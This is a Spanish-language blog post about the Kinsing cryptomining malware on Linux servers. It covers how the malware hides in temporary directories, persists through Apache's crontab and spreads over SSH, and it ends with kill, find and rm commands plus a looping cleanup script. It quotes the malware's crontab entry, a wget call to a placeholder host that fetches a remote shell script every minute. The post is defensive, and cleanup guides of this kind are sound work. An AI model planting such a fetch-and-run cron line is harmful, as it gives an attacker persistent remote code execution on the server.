DEV Community

Cover image for Kinsing: el minero que afecta a sistemas Linux
Hermann Pollack (hpollack95)
Hermann Pollack (hpollack95)

Posted on

Kinsing: el minero que afecta a sistemas Linux

Hace poco, por labores dentro de mi pega (para quienes son de fuera de Chile, "pega" se le dice al trabajo, por ser en el siglo XIX, la principal labor obrera: la pega de adoquines en las calles), estuve investigando, sobre malware de mineria de bitcoins, los cuales usan los recursos de las maquinas infectadas para poder hacer las complejas operaciones matemáticas que permitirían, crear un nuevo bloque del blockchain de esta criptomoneda digital.

Este malware se llama kinsing y posee dos procesos, llamados kinsing, que es el principal y kdevtmpfsi. Ambos se esconden en los directorios temporales, intervienen el crontab, especialmente el de apache y se autodescargan, pero además, intenta usar el procolo ssh, buscando replicarse en otras máquinas.

Este "minero", no solo ocupa recursos de CPU, si no que busca capturar otras maquinas para dicho proceso. Sabemos lo complicado que es adquirir bitcoins, aun cuando el precio a bajado, sin embargo, sigue siendo tentador para los piratas informáticos, ya que es una forma de ganar dinero y no dejar rastro. Por suerte, hay formas de quitarlo, aunque la solución que encontré, mientras sigo el proceso de investigación, es algo artesa, estoy seguro que a más de uno le servirá.

Que hace kinsing.

Este malware, entra por algun backdoor que no esté correctamente validado, usando los procesos, sea de Apache o PHP FastCGI, escribiendo en el crontab, normalmente Apache, una linea que le permite autodescargarse y ejecutarse remotamente. Los archivos binarios que ejecuta, los esconde en los directorios temporales como /tmp/ o /var/tmp, bajo el nombre de kdevtmpfsi y kinsing, los cuales se ejecutan, tomando la CPU a través de los procesos de los mencionados Apache y/o PHP FastCGI, haciendo que esta llegue incluso al 100%, lo que provoca Denegacion de Servicio.

Forma de eliminación.

Lo primero que hay que hacer es identificar los procesos. Usando top o sus derivados como htop o btop, podemos encontrar los procesos corriendo, con los nombres mencionados.

El primer paso es matar todo proceso que involucre a kinsing.

pkill -9 kinsing*
pkill -9 kdevtmpfsi*
Enter fullscreen mode Exit fullscreen mode

Una vez realizado esto, hacemos una busqueda en profundidad, ya que si bien suelen esconderse en los directorios antes mencionados, tambien usan subdirectorios de los mismos para ocultarse.

find / -type f -name kdevtmpfsi -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*"
find / -type f -name kinsing -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*"
Enter fullscreen mode Exit fullscreen mode

El resultado de esta búsqueda, nos mostrará donde se ocultan. Se omiten los directorios /proc, /dev/ y /sys/.

Una vez encontrados, se ejecuta el comando rm -f para su eliminacion.

rm -f /path/to/kdevtmpfsi*
rm -f /path/to/kdevtmpfsi*
Enter fullscreen mode Exit fullscreen mode

Por último se debe considerar que el proceso escribe en el cron. Si esta Apache instalado, se debe encontrar la linea que escribe.

# Esta linea por lo general hace una llamad wget para ejecutar un sh remoto que descarga y ejecuta los binarios.
* * * * * wget -p -O http://ipaleatoria/p.sh 2 >&/dev/null/
Enter fullscreen mode Exit fullscreen mode

Se debe borrar la linea y cambiar los permisos del crontab de apache.

chmod 700 /var/spool/cron
# Si ya existe un archivo cron de apache, se puede impedir que alguien mas que no sea usuario con privilegios, lo haga.
chmod 600 /var/spool/cron/apache
Enter fullscreen mode Exit fullscreen mode

Con esto, se soluciona en parte, que kinsing, pueda entrar y utilizar la máquina.

Script sh para busqueda y eliminación.

Dejo abajo un script funcional para ser ejecutado. Este buscara cada 60 segundos, si existen tanto kdevtmpfsi como kinsing, procedera a matar los procesos y eliminar los archivos.

#!/bin/bash
KINSING=("kdevtmpfsi" "kinsing")
LOGFILE="/home/hpollack/matakinsing.log"

function buscar_kinsing {
    for kinsing in "${KINSING[@]}"; do
        archivos=$(find / -type f -name "$kinsing" -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" 2>/dev/null)

        pids=$(pgrep -f "$kinsing")
        # Se agrega la busqueda de los pids para matar todo proceso involucrado con los nombres
        if [ -n "$pids" ]; then
            for pid in $pids; do
                kill -9 "$pid"
                echo "$(date '+%Y-%m-%d %H:%M:%S') Proceso $kinsing (PID: $pid) se ha eliminado" >> "$LOGFILE"
            done
        fi

        # Si se encuentran archivos maliciosos, eliminarlos
        for archivo in $archivos; do
            echo "$(date '+%Y-%m-%d %H:%M:%S') Se ha encontrado y eliminado el archivo malicioso: $archivo" >> "$LOGFILE"
            rm -f "$archivo"
        done
    done
}

while true; do
    buscar_kinsing
    sleep 60
done
Enter fullscreen mode Exit fullscreen mode

Top comments (0)